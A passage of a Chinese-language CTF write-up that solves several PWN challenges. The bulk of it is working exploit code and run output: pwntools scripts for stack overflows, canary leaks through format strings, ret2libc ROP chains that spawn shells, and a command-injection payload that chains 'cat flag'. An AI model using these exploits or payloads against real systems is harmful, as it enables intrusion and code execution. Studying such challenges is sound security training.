首页
论坛
课程
招聘
攻防世界-PWN-高手进阶区-难度3到4-全部题解
2021-6-12 02:00 8720

攻防世界-PWN-高手进阶区-难度3到4-全部题解

2021-6-12 02:00
8720

目的

通过攻防世界的一些入门难度的题目来学习最基本的漏洞利用技巧,以及提高代码审计的能力。传送门:https://adworld.xctf.org.cn/task/task_list?type=pwn&number=2&grade=1

脑图

总结可能用到的知识点:

脚本模板

放上我常用的做题模板:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import sys
from pwn import *
from LibcSearcher import LibcSearcher
 
rv = lambda                      : io.recv()
rl = lambda a=False              : io.recvline(a)
ru = lambda a,b=True             : io.recvuntil(a,b)
rn = lambda x                    : io.recvn(x)
se = lambda x                    : io.send(x)
sl = lambda x                    : io.sendline(x)
sa = lambda a,b                  : io.sendafter(a,b)
sla = lambda a,b                 : io.sendlineafter(a,b)
sconnect = lambda                : io.interactive()
 
context.log_level = "DEBUG"
pwn_file = './pwn7'
elf = ELF(pwn_file)
 
if len(sys.argv) < 2:
    IS_LOCAL = 1
    io = process(pwn_file)
else:
    IS_LOCAL = 0
    sys_argv = sys.argv[1].split(':')
    io = remote(sys_argv[0], int(sys_argv[1]))
#---------------------------------------------------------
payload = '1'+'\x00'*6+'\xFF\x00'
 
'''
if IS_LOCAL:
    gdb.attach(io,"break *0x8048824\nc")
    pause()
'''
se(payload)
puts_addr = u32(io.recv()[:4])
 
if IS_LOCAL:
    libc = ELF('/lib/i386-linux-gnu/libc.so.6')
    libc_base = printf_addr - libc.sym['printf']
    system_addr = libc_base + libc.sym['system']
else:
    libc = ELF('libc6-i386_2.23-0ubuntu11.2_amd64.so')
    libc_base = printf_addr - libc.sym['printf']
    system_addr = libc_base + libc.sym['system']
#or choose to use LibcSearcher
'''
    libc=LibcSearcher('puts',puts_addr)
    libc_base = puts_addr - libc.dump('puts')
    system_addr = libc_base + libc.dump('system')
    str_bin_sh = libc_base + libc.dump('str_bin_sh')
'''
log.info('puts_addr: 0x%x'%puts_addr)
log.info('system_addr: 0x%x'%system_addr)
log.info('str_bin_sh: 0x%x'%str_bin_sh)
 
payload = 'A'*235+p32(system_addr)+p32(0xdeadbeef)+p32(str_bin_sh)
se(payload)
sconnect()

需要打服务器的时候直接加个参数就可以:

1
python exp.py  111.200.241.244:56070

TASKS

pwn-200

《CTF竞赛指南》上有详解。

pwn-100

《CTF竞赛指南》上有详解。

time_formatter

这个题目涉及的漏洞是悬空指针(dangling pointer)和UAF:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
__int64 sub_400F8F()
{
  __int64 result; // rax
  char s[16]; // [rsp+8h] [rbp-20h] BYREF
  unsigned __int64 v2; // [rsp+18h] [rbp-10h]
 
  v2 = __readfsqword(0x28u);
  free_400C7E(FORMAT_BUF_HEAP);                 // double free
  free_400C7E(time_zone_heap);
  __printf_chk(1LL, "Are you sure you want to exit (y/N)? ");
  fflush(stdout);
  fgets(s, 16, stdin);
  result = 0LL;
  if ( (s[0] & 0xDF) == 'Y' )
  {
    puts("OK, exiting.");
    result = 1LL;
  }
  return result;
}

可以看到,指针在用户确定退出之前就已经free了,free之后也没有及时指向NULL。这导致我们可以重新申请format_buf指向的堆内存,然后给予其新的值。再来看看show部分的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
__int64 sub_400EA3()
{
  char command[2048]; // [rsp+8h] [rbp-810h] BYREF
  unsigned __int64 v2; // [rsp+808h] [rbp-10h]
 
  v2 = __readfsqword(0x28u);
  if ( FORMAT_BUF_HEAP )
  {
    __snprintf_chk(command, 2048LL, 1LL, 2048LL, "/bin/date -d @%d +'%s'", TIME, FORMAT_BUF_HEAP);
    __printf_chk(1LL, "Your formatted time is: ");
    fflush(stdout);
    if ( getenv("DEBUG") )
      __fprintf_chk(stderr, 1LL, "Running command: %s\n", command);
    setenv("TZ", time_zone_heap, 1);
    system(command);
  }
  else
  {
    puts("You haven't specified a format!");
  }
  return 0LL;
}

可以看到如果设置了环境变量会有不少提示信息,我们这里设置一个临时变量:

1
export DEBUG=1

然后看到程序中有system函数,而且部分参数是我们提供的输入;我们应该想到这里可以用'闭合命令,然后用管道执行一个新的命令。程序的本意是想执行这样的一条命令:

1
2
date -d @1568880277 +"%Y-%m-%d %H:%M:%S"
2019-09-19 16:04:37

我们想要执行这样一个命令:

1
/bin/date -d @0 +'%y' | cat 'flag'

根据以上思路,利用悬空指针漏洞绕过检查找出flag的值:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
dc@ubuntu:~/playground$ ./time_formatter
Welcome to Mary's Unix Time Formatter!
1) Set a time format.
2) Set a time.
3) Set a time zone.
4) Print your time.
5) Exit.
> 1
Format: b
strdup(0x7fffffffd948) = 0x603420
Format set.
1) Set a time format.
2) Set a time.
3) Set a time zone.
4) Print your time.
5) Exit.
> 5
free(0x603420)
free((nil))
Are you sure you want to exit (y/N)? n
1) Set a time format.
2) Set a time.
3) Set a time zone.
4) Print your time.
5) Exit.
> 3
Time zone: %y' | cat 'flag     
strdup(0x7fffffffd948) = 0x603420     # assert timeformat_buf == timezone
Time zone set.
1) Set a time format.
2) Set a time.
3) Set a time zone.
4) Print your time.
5) Exit.
> 4
Your formatted time is: Running command: /bin/date -d @0 +'%y' | cat 'flag'
flag{ABCD}
1) Set a time format.
2) Set a time.
3) Set a time zone.
4) Print your time.
5) Exit.
> ^C

Mary_Morton

拿到程序先看下信息:

1
2
3
4
5
6
7
8
9
dc@ubuntu:~/playground$ file 22e2d7579d2d4359a5a1735edddef631
22e2d7579d2d4359a5a1735edddef631: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=b7971b84c2309bdb896e6e39073303fc13668a38, stripped
dc@ubuntu:~/playground$ pwn checksec 22e2d7579d2d4359a5a1735edddef631
[*] '/home/dc/playground/22e2d7579d2d4359a5a1735edddef631'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

我们需要绕过金丝雀,再看程序关键流程如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
  int v3; // [rsp+24h] [rbp-Ch] BYREF
  unsigned __int64 v4; // [rsp+28h] [rbp-8h]
 
  v4 = __readfsqword(0x28u);
  sub_4009FF();
  puts("Welcome to the battle ! ");
  puts("[Great Fairy] level pwned ");
  puts("Select your weapon ");
  while ( 1 )
  {
    while ( 1 )
    {
      sub_4009DA();
      __isoc99_scanf("%d", &v3);
      if ( v3 != 2 )
        break;
      sub_4008EB();
    }
    if ( v3 == 3 )
    {
      puts("Bye ");
      exit(0);
    }
    if ( v3 == 1 )
      sub_400960();
    else
      puts("Wrong!");
  }
}
unsigned int sub_4009FF()
{
  setvbuf(stdin, 0LL, 1, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  return alarm(0x14u);
}
int sub_4009DA()
{
  puts("1. Stack Bufferoverflow Bug ");
  puts("2. Format String Bug ");
  return puts("3. Exit the battle ");
}

非常友好的题目(骗新人入坑
两个有漏洞的函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
unsigned __int64 sub_4008EB()
{
  char buf[136]; // [rsp+0h] [rbp-90h] BYREF
  unsigned __int64 v2; // [rsp+88h] [rbp-8h]
 
  v2 = __readfsqword(0x28u);
  memset(buf, 0, 0x80uLL);
  read(0, buf, 0x7FuLL);
  printf(buf);
  return __readfsqword(0x28u) ^ v2;
}
unsigned __int64 sub_400960()
{
  char buf[136]; // [rsp+0h] [rbp-90h] BYREF
  unsigned __int64 v2; // [rsp+88h] [rbp-8h]
 
  v2 = __readfsqword(0x28u);
  memset(buf, 0, 0x80uLL);
  read(0, buf, 0x100uLL);
  printf("-> %s\n", buf);
  return __readfsqword(0x28u) ^ v2;
}

第一个函数的printf函数的格式化字符串由用户控制,第二个函数可从一开始的定义看出buf的缓冲区最多只有0x90的大小,而程序却可以接受0x100大小的输入,这将导致栈溢出。
最终,随便点击函数列表中的函数,发现了win函数:

1
2
3
4
int sub_4008DA()
{
  return system("/bin/cat ./flag");
}

到此,漏洞利用的一个思路基本可表示为一下三步:

  1. 利用字符串格式化漏洞获得程序的canary
  2. 进入第二个函数,测算到canary的距离,将获得的canary部署在栈上
  3. 控制返回地址为cat flag函数的地址

由以上几步做exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
 
context.log_level = "DEBUG"
io = process('./22e2d7579d2d4359a5a1735edddef631')
io.recv()
io.send('2\n')
io.send('%23$p\n')
canary = int(io.recvline(),16)
log.info('canary == 0x%x' % canary)
io.recv()
io.send('1\n')
io.send('A'*0x88+p64(canary)+p64(0xdeadbeef)+p64(0x4008DA))
io.recv()

运行下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
dc@ubuntu:~/playground$ echo 'my_flag{123}' > flag
dc@ubuntu:~/playground$ python payload_22e2.py
[+] Starting local process './22e2d7579d2d4359a5a1735edddef631' argv=['./22e2d7579d2d4359a5a1735edddef631'] : pid 85064
[DEBUG] Received 0x8f bytes:
    'Welcome to the battle ! \n'
    '[Great Fairy] level pwned \n'
    'Select your weapon \n'
    '1. Stack Bufferoverflow Bug \n'
    '2. Format String Bug \n'
    '3. Exit the battle \n'
[DEBUG] Sent 0x2 bytes:
    '2\n'
[DEBUG] Sent 0x6 bytes:
    '%23$p\n'
[DEBUG] Received 0x5a bytes:
    '0x433c813a1d175800\n'
    '1. Stack Bufferoverflow Bug \n'
    '2. Format String Bug \n'
    '3. Exit the battle \n'
[*] canary == 0x433c813a1d175800
[DEBUG] Sent 0x2 bytes:
    '1\n'
[DEBUG] Sent 0xa0 bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    *
    00000080  41 41 41 41  41 41 41 41  00 58 17 1d  3a 81 3c 43  │AAAA│AAAA│·X··│:·<C│
    00000090  ef be ad de  00 00 00 00  da 08 40 00  00 00 00 00  │····│····│··@·│····│
    000000a0
[DEBUG] Received 0x99 bytes:
    '-> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n'
    'my_flag{123}\n'

dice_game

简单题:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *
from LibcSearcher import LibcSearcher
 
se=lambda x:io.send(x)
sl=lambda x:io.sendline(x)
sa=lambda x,y:io.sendafter(x,y)
rv=lambda :io.recv()
sconnect=lambda :io.interactive()
 
IS_LOCAL = 0
context.log_level = "DEBUG"
pwn_file = './dice_game'
elf = ELF(pwn_file)
 
if IS_LOCAL:
    io = process(pwn_file)
else:
    io = remote('111.200.241.244','55568')
#---------------------------------------------------------
payload = 'A'*0x40+p64(0)
nums = [2,5,4,2,6,2,5,1,4,2,3,2,3,2,6,5,1,1,5,5,6,3,4,4,3,3,3,2,2,2,6,1,1,1,6,4,2,5,2,5,4,4,4,6,3,2,3,3,6,1]
 
sa("Welcome, let me know your name: ",payload)
 
for index in range(50):
    sa("Give me the point(1~6): ",str(nums[index])+'\n')
 
rv()
print(rv())

forgot

这题有点意思:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
int __cdecl main()
{
  size_t v0; // ebx
  char input[32]; // [esp+10h] [ebp-74h] BYREF
  _DWORD v3[10]; // [esp+30h] [ebp-54h]
  char name[32]; // [esp+58h] [ebp-2Ch] BYREF
  int choice; // [esp+78h] [ebp-Ch]
  size_t index; // [esp+7Ch] [ebp-8h]
 
  choice = 1;
  v3[0] = sub_8048604;
  v3[1] = sub_8048618;
  v3[2] = sub_804862C;
  v3[3] = sub_8048640;
  v3[4] = sub_8048654;
  v3[5] = sub_8048668;
  v3[6] = sub_804867C;
  v3[7] = sub_8048690;
  v3[8] = sub_80486A4;
  v3[9] = sub_80486B8;
  puts("What is your name?");
  printf("> ");
  fflush(stdout);
  fgets(name, 32, stdin);
  sub_80485DD(name);
  fflush(stdout);
  printf("I should give you a pointer perhaps. Here: %x\n\n", sub_8048654);
  fflush(stdout);
  puts("Enter the string to be validate");
  printf("> ");
  fflush(stdout);
  __isoc99_scanf("%s", input);                  // may stack overflow
  for ( index = 0; ; ++index )
  {
    v0 = index;
    if ( v0 >= strlen(input) )
      break;
    switch ( choice )
    {
      case 1:
        if ( sub_8048702(input[index]) )
          choice = 2;
        break;
      case 2:
        if ( input[index] == '@' )
          choice = 3;
        break;
      case 3:
        if ( sub_804874C(input[index]) )
          choice = 4;
        break;
      case 4:
        if ( input[index] == '.' )
          choice = 5;
        break;
      case 5:
        if ( sub_8048784(input[index]) )
          choice = 6;
        break;
      case 6:
        if ( sub_8048784(input[index]) )
          choice = 7;
        break;
      case 7:
        if ( sub_8048784(input[index]) )
          choice = 8;
        break;
      case 8:
        if ( sub_8048784(input[index]) )
          choice = 9;
        break;
      case 9:
        choice = 10;
        break;
      default:
        continue;
    }
  }
  (v3[--choice])();
  return fflush(stdout);
}

有几个函数点击去看看,大概能猜到题目说的email是迷惑信息:

1
2
3
4
int sub_8048604()
{
  return puts("Dude, you seriously think this is going to work. Where are the fancy @ and [dot], huh?");
}

所以查看下汇编:

1
2
3
4
5
6
7
8
9
10
.text:08048A40                 mov     ebx, [esp+7Ch]
.text:08048A44                 lea     eax, [esp+84h+input]
.text:08048A48                 mov     [esp], eax      ; s
.text:08048A4B                 call    _strlen
.text:08048A50                 cmp     ebx, eax
.text:08048A52                 jb      loc_80488CF
.text:08048A58                 sub     dword ptr [esp+78h], 1
.text:08048A5D                 mov     eax, [esp+78h]
.text:08048A61                 mov     eax, [esp+eax*4+30h]
.text:08048A65                 call    eax

接受完数据后,程序直接跳到栈上某地址,调试中确定位置:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
─────────────────────────────────────────────────────────────── code:x86:32 ────
    0x8048a52                  jb     0x80488cf
    0x8048a58                  sub    DWORD PTR [esp+0x78], 0x1
    0x8048a5d                  mov    eax, DWORD PTR [esp+0x78]
 →  0x8048a61                  mov    eax, DWORD PTR [esp+eax*4+0x30]
    0x8048a65                  call   eax
    0x8048a67                  mov    eax, ds:0x804b060
    0x8048a6c                  mov    DWORD PTR [esp], eax
    0x8048a6f                  call   0x8048450 <fflush@plt>
    0x8048a74                  mov    ebx, DWORD PTR [ebp-0x4]
─────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "forgot", stopped 0x8048a61 in ?? (), reason: BREAKPOINT
───────────────────────────────────────────────────────────────────── trace ────
[#0] 0x8048a61 → mov eax, DWORD PTR [esp+eax*4+0x30]
[#1] 0xf7d57647 → __libc_start_main()
[#2] 0x8048501 → hlt
────────────────────────────────────────────────────────────────────────────────
gef➤  dereference $esp 40
0xff885aa0+0x0000: 0xff885ab0  →  0x41414141     ← $esp
0xff885aa4+0x0004: 0xff885ab0  →  0x41414141
0xff885aa8+0x0008: 0xf7ef25a0  →  0xfbad2088
0xff885aac+0x000c: 0x00000000
0xff885ab0+0x0010: 0x41414141
0xff885ab4+0x0014: 0x41414141
0xff885ab8+0x0018: 0x41414141
0xff885abc+0x001c: 0x41414141
0xff885ac0+0x0020: 0x41414141
0xff885ac4+0x0024: 0x41414141
0xff885ac8+0x0028: 0x41414141
0xff885acc+0x002c: 0x41414141
0xff885ad0+0x0030: 0x080486cc  →   push ebp

最终exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
from LibcSearcher import LibcSearcher
 
se=lambda x:io.send(x)
sl=lambda x:io.sendline(x)
sa=lambda x,y:io.sendafter(x,y)
rv=lambda :io.recv()
sconnect=lambda :io.interactive()
 
IS_LOCAL = 1
context.log_level = "DEBUG"
pwn_file = './forgot'
elf = ELF(pwn_file)
 
if IS_LOCAL:
    io = process(pwn_file)
else:
    io = remote('111.200.241.244','57736')
#---------------------------------------------------------
payload = 'A'*8*4 + p32(0x80486CC)
 
if IS_LOCAL:
    gdb.attach(io,"break *0x8048A61\nc")
    pause()
 
sa("> ",'noname\n')
sa("> ",payload+'\n')
rv()
rv()
rv()

warmup

exp:

1
2
3
4
5
6
7
8
from pwn import *
 
context.log_level = "DEBUG"
#io = process('./warmup_csaw_2016')
io = remote('node3.buuoj.cn','26740')
io.recv()
io.sendline('A'*0x48+p64(0x40060d))
io.recv()

stack2

题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  unsigned int len; // [esp+18h] [ebp-90h]
  unsigned int choice; // [esp+1Ch] [ebp-8Ch]
  int num; // [esp+20h] [ebp-88h]
  unsigned int index_j; // [esp+24h] [ebp-84h]
  int sum; // [esp+28h] [ebp-80h]
  unsigned int index; // [esp+2Ch] [ebp-7Ch]
  unsigned int index_k; // [esp+30h] [ebp-78h]
  unsigned int index_i; // [esp+34h] [ebp-74h]
  char nums[100]; // [esp+38h] [ebp-70h]
  unsigned int v14; // [esp+9Ch] [ebp-Ch]
 
  v14 = __readgsdword(0x14u);
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  sum = 0;
  puts("***********************************************************");
  puts("*                      An easy calc                       *");
  puts("*Give me your numbers and I will return to you an average *");
  puts("*(0 <= x < 256)                                           *");
  puts("***********************************************************");
  puts("How many numbers you have:");
  __isoc99_scanf("%d", &len);
  puts("Give me your numbers");
  for ( index = 0; index < len && index <= 99; ++index )
  {
    __isoc99_scanf("%d", &num);
    nums[index] = num;
  }
  for ( index_j = len; ; printf("average is %.2lf\n", (sum / index_j)) )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        while ( 1 )
        {
          puts("1. show numbers\n2. add number\n3. change number\n4. get average\n5. exit");
          __isoc99_scanf("%d", &choice);
          if ( choice != 2 )
            break;
          puts("Give me your number");
          __isoc99_scanf("%d", &num);
          if ( index_j <= 99 )
          {
            v3 = index_j++;
            nums[v3] = num;
          }
        }
        if ( choice > 2 )
          break;
        if ( choice != 1 )
          return 0;
        puts("id\t\tnumber");
        for ( index_k = 0; index_k < index_j; ++index_k )
          printf("%d\t\t%d\n", index_k, nums[index_k]);
      }
      if ( choice != 3 )
        break;
      puts("which number to change:");
      __isoc99_scanf("%d", &len);
      puts("new number:");
      __isoc99_scanf("%d", &num);
      nums[len] = num;                \\ dangrous
    }
    if ( choice != 4 )
      break;
    sum = 0;
    for ( index_i = 0; index_i < index_j; ++index_i )
      sum += nums[index_i];
  }
  return 0;
}

可以发现我注释的代码,利用这段代码可以向着栈内写一个字节的数据,所以这是一个简单的ret2win咯,只要将返回地址byte by byte改成win函数即可:

1
2
3
4
int hackhere()
{
  return system("/bin/bash");
}

然而实际打过去服务器发现:

1
2
3
[DEBUG] Received 0x1c bytes:
    'sh: 1: /bin/bash: not found\n'
sh: 1: /bin/bash: not found

看上去调用bash失败了,这咋办呢。看了师傅们的wp我发现原来可以直接以这种形式返回shell:

1
system('sh');

最终exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *
from LibcSearcher import LibcSearcher
 
se=lambda x:io.send(x)
sl=lambda x:io.sendline(x)
sa=lambda x,y:io.sendafter(x,y)
rv=lambda :io.recv()
sconnect=lambda :io.interactive()
 
IS_LOCAL = 0
context.log_level = "DEBUG"
pwn_file = './stack2'
elf = ELF(pwn_file)
 
if IS_LOCAL:
    io = process(pwn_file)
else:
    io = remote('111.200.241.244','63716')
#---------------------------------------------------------
sa("How many numbers you have:",'1\n')
rv()
sl('1')
win_addr = 0x804859B
winaddrs = [0x9B,0x85,0x04,0x08]
bin_str_addr = 0x08048987
str_addrs = [0x87,0x89,0x04,0x08]
system_plt = 0x08048450
system_plt_addrs = [0x50,0x84,0x04,0x08]
 
if IS_LOCAL:
    gdb.attach(io,"break *0x80488EE\nc")
    pause()
 
    #set ret addr
    for index in range(4):
        sa('5. exit\n','3\n')
        sa('which number to change:\n',str(0x84+index)+'\n')
        sa('new number:\n',str(winaddrs[index])+'\n')
else:
    #set ret addr
    for index in range(4):
        sa('5. exit\n','3\n')
        sa('which number to change:\n',str(0x84+index)+'\n')
        sa('new number:\n',str(system_plt_addrs[index])+'\n')
    #set pointer to 'sh'
    for index in range(4):
        sa('5. exit\n','3\n')
        sa('which number to change:\n',str(0x84+8+index)+'\n')
        sa('new number:\n',str(str_addrs[index])+'\n')
 
rv()
sl('5')
sconnect()

monkey

发现是js命令,通过help()查看帮助,发现可以用os.system调用命令:

1
2
3
4
dc@ubuntu:~/playground/monkey$ socat - TCP:111.200.241.244:53325
js> os.system('cat flag')
os.system('cat flag')
cyberpeace{6af2fc8d7f14004c0415141a4e9a2284}

pwn1

最基础的x64栈溢出:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from pwn import *
from LibcSearcher import LibcSearcher
 
se=lambda x:io.send(x)
sl=lambda x:io.sendline(x)
sa=lambda x,y:io.sendafter(x,y)
rv=lambda :io.recv()
sconnect=lambda :io.interactive()
 
IS_LOCAL = 0
context.log_level = "DEBUG"
pwn_file = './babystack'
elf = ELF(pwn_file)
 
if IS_LOCAL:
    io = process(pwn_file)
else:
    io = remote('111.200.241.244','57616')
#---------------------------------------------------------
#0x0000000000400a93 : pop rdi ; ret
pop_rdi_ret = 0x0000000000400a93
main_addr = 0x400908
payload1 = 'A'*0x88+'C'
 
'''
if IS_LOCAL:
    gdb.attach(io,"break *0x8048824\nc")
    pause()
'''
sa('>> ','1\n')
se(payload1)
sa('>> ','2\n')
io.recvuntil('C')
tmp = io.recv(7)
canary = u64('\x00' + tmp)
log.info("canary: 0x%x"%canary)
sa('>> ','1\n')
payload2 = 'A'*0x88+p64(canary)+p64(0xdeadbeef)+p64(pop_rdi_ret)+p64(elf.got['puts'])+p64(elf.sym['puts'])+p64(main_addr)
se(payload2)
sa('>> ','3\n')
puts_addr = u64(io.recvuntil('\n')[:-1].ljust(8,'\x00'))
 
if IS_LOCAL:
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    libc_base = puts_addr - libc.sym['puts']
    system_addr = libc_base + libc.sym['system']
    str_bin_sh = libc_base + next(libc.search('/bin/sh'))
else:
    libc=LibcSearcher('puts',puts_addr)
    libc_base = puts_addr - libc.dump('puts')
    system_addr = libc_base + libc.dump('system')
    str_bin_sh = libc_base + libc.dump('str_bin_sh')
'''
    libc = ELF('./libc-2.23.so')
    libc_base = puts_addr - libc.sym['puts']
    system_addr = libc_base + libc.sym['system']
    str_bin_sh = libc_base + next(libc.search('/bin/sh'))
'''
 
log.info('puts_addr: 0x%x'%puts_addr)
log.info('system_addr: 0x%x'%system_addr)
log.info('str_bin_sh: 0x%x'%str_bin_sh)
 
sa('>> ','1\n')
payload3 = 'A'*0x88+p64(canary)+p64(0xdeadbeef)+p64(pop_rdi_ret)+p64(str_bin_sh)+p64(system_addr)
se(payload3)
sa('>> ','3\n')
sconnect()

最坑的是给出./libc-2.23.so找偏移打过去发现不对:

1
2
3
4
5
6
7
8
9
10
11
12
[*] Switching to interactive mode
[DEBUG] Received 0x7 bytes:
    'sh: 1: '
sh: 1: [DEBUG] Received 0x39 bytes:
    'd: not found\n'
    '--------\n'
    '1.store\n'
    '2.print\n'
    '3.quit\n'
    '--------\n'
    '>> '
d: not found

后来还是用LibcSearch搞定:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
[DEBUG] Received 0x2d bytes:
    '\n'
    '--------\n'
    '1.store\n'
    '2.print\n'
    '3.quit\n'
    '--------\n'
    '>> '
Multi Results:
 0: archive-old-glibc (id libc6-amd64_2.24-9ubuntu2_i386)
 1: archive-old-glibc (id libc6-amd64_2.24-3ubuntu1_i386)
 2: archive-old-glibc (id libc6-amd64_2.24-9ubuntu2.2_i386)
 3: archive-old-glibc (id libc6-amd64_2.24-3ubuntu2.2_i386)
 4: ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
Please supply more info using
    add_condition(leaked_func, leaked_address).
You can choose it by hand
Or type 'exit' to quit:4
[+] ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64) be choosed.
[*] puts_addr: 0x7fcdf3827690
[*] system_addr: 0x7fcdf37fd390
[*] str_bin_sh: 0x7fcdf3944d57
[DEBUG] Sent 0x2 bytes:
    '1\n'
[DEBUG] Sent 0xb0 bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    *
    00000080  41 41 41 41  41 41 41 41  00 c3 55 2b  79 4c 71 94  │AAAA│AAAA│··U+│yLq·│
    00000090  ef be ad de  00 00 00 00  93 0a 40 00  00 00 00 00  │····│····│··@·│····│
    000000a0  57 4d 94 f3  cd 7f 00 00  90 d3 7f f3  cd 7f 00 00  │WM··│····│····│····│
    000000b0
[DEBUG] Received 0x1 bytes:
    '\n'
[DEBUG] Received 0x2c bytes:
    '--------\n'
    '1.store\n'
    '2.print\n'
    '3.quit\n'
    '--------\n'
    '>> '
[DEBUG] Sent 0x2 bytes:
    '3\n'
[*] Switching to interactive mode
$ cat flag
[DEBUG] Sent 0x9 bytes:
    'cat flag\n'
[DEBUG] Received 0x2d bytes:
    'cyberpeace{eeb2d8ed78aaaff3b53e9aaa357f3091}\n'
cyberpeace{eeb2d8ed78aaaff3b53e9aaa357f3091}
$

welpwn

嗯这题也有点意思:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[1024]; // [rsp+0h] [rbp-400h] BYREF
 
  write(1, "Welcome to RCTF\n", 0x10uLL);
  fflush(_bss_start);
  read(0, buf, 1024uLL);
  echo(buf);
  return 0;
}
int __fastcall echo(__int64 buf)
{
  char input[16]; // [rsp+10h] [rbp-10h] BYREF
 
  for ( index = 0; *(index + buf); ++index )
    input[index] = *(index + buf);              // may stack overflow
  input[index] = 0;
  if ( !strcmp("ROIS", input) )
  {
    printf("RCTF{Welcome}");
    puts(" is not flag");
  }
  return printf("%s", input);
}

可以看到被调用的函数将传入的参数直接拷贝在局部变量,由于传入的参数,被调用函数的变量都在栈上,所以栈的视图大概是:

1
2
3
4
|var data abc|
|rbp|
|ret|
|argument data abc|

如果用传统的rop:

1
payload = 'A'*0x18+p64(pop_rdi_ret)+p64(elf.got['puts'])+p64(elf.sym['puts'])+p64(main_addr)

拷贝完栈中是这样:

1
2
3
4
5
6
7
8
0x00007fffffffd950+0x0010: 0x4141414141414141
0x00007fffffffd958+0x0018: 0x4141414141414141
0x00007fffffffd960+0x0020: 0x4141414141414141     ← $rbp
0x00007fffffffd968+0x0028: 0x00000000004008a3  →  <__libc_csu_init+99> pop rdi
0x00007fffffffd970+0x0030: 0x4141414141414141     ← $rsi, $rdi
0x00007fffffffd978+0x0038: 0x4141414141414141
0x00007fffffffd980+0x0040: 0x4141414141414141
0x00007fffffffd988+0x0048: 0x00000000004008a3  →  <__libc_csu_init+99> pop r

要覆盖栈,所以需要padding(414141),但正因为有padding,所以必须要有gadget帮助跳过padding:

1
payload = 'A'*0x18+p64(_3pop_ret)+p64(1)+p64(2)+p64(3)+p64(pop_rdi_ret)+p64(elf.got['puts'])+p64(elf.sym['puts'])+p64(main_addr)

这样拷贝后就可以正